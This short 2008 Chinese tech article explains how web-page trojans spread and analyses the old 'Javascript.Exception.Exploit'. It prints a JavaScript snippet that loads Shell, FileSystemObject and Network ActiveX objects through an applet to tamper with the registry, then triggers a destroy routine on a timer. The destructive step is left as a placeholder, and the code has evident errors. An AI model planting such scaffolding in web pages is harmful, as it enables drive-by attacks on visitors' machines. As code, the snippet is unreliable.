国内资深黑客详谈网页木马
作者: 子明, 出处:51CTO.com, 责任编辑: 韩博颖,
2008-05-08 09:45
当今网络，反病毒软件日益增多，使用的反病毒技术越来越先进，查杀病毒的能力逐渐提高，但病毒制作者并不会罢休，开始利用网页木马这一危害面最广泛，传播效果最佳的方式来传播。
六、常用网页木马运行原理的分析
1.Javascript.Exception.Exploit
常用的攻击代码：
| Function destroy(){ try { //ActiveX initialization 初始化ActiveX，为修改注册表做准备 a1=document.applets[0]; //获取applet运行对象，以下语句指向注册表中有关IE的表项 a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); a1.createInstance(); FSO = a1.GetObject(); a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Net = a1.GetObject(); try { 开始进行破坏 } } catch(e) {} } catch(e) {} } function do() { //初始化函数，并每隔一秒执行修改程序 setTimeout("destroy()", 1000); //设定运行时间1秒 } Do() //进行破坏的执行函数指令 |
- 本文关键词：
